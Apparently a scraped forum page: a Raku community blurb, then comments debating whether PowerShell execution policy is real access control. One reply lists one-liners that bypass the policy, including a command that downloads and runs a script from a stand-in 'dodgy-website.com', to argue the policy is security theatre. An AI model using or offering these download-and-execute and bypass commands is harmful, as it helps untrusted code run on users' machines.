We are a bunch of volunteers developing the Raku Programming Language as the Open Source language of the future.
We also develop tools, web-services and applications written in the Raku Programming Language.
We try real hard to be nice to each other. You can help too! The only requirement is that you know how to be nice to all kinds of people (and butterflies 🦋). And don't be afraid to ask if you do not understand something.

Yeah it's called access control, which is a basic tenant of IT security, letting any knucklehead run PS scripts is heading for disaster at worst, and a huge headache at best.
Also, the amount of users who have access to Unix in any environment is reasonably small, and they are usually vetted and trusted individuals, whereas most of the business segment of any organization is using Windows.
So do you really think Ken in shipping needs to run some PS scripts? Or Derek in Sales, or Joan in HR, or Ralph in maintenance?
Hardly. As per Microsoft,
Or you can run
iwr -useb 'https://dodgy-website.com/whateverscriptyouwant.ps1' | iex
to execute any script from the internet.Or read the file and pass it onto a new powershell process with
Get-Content . whateverscriptyouwant.ps1 | PowerShell.exe -noprofile -
Or use the built-in bypass toggle
PowerShell.exe -ExecutionPolicy Bypass -File whateverscriptyouwant.ps1
Or just actually change the execution policy for the proccess or user, via powershell or registry, because once again, it is not an access control. It is security theatre.
I'm soo glad I dropped Windows 21+ years ago now!
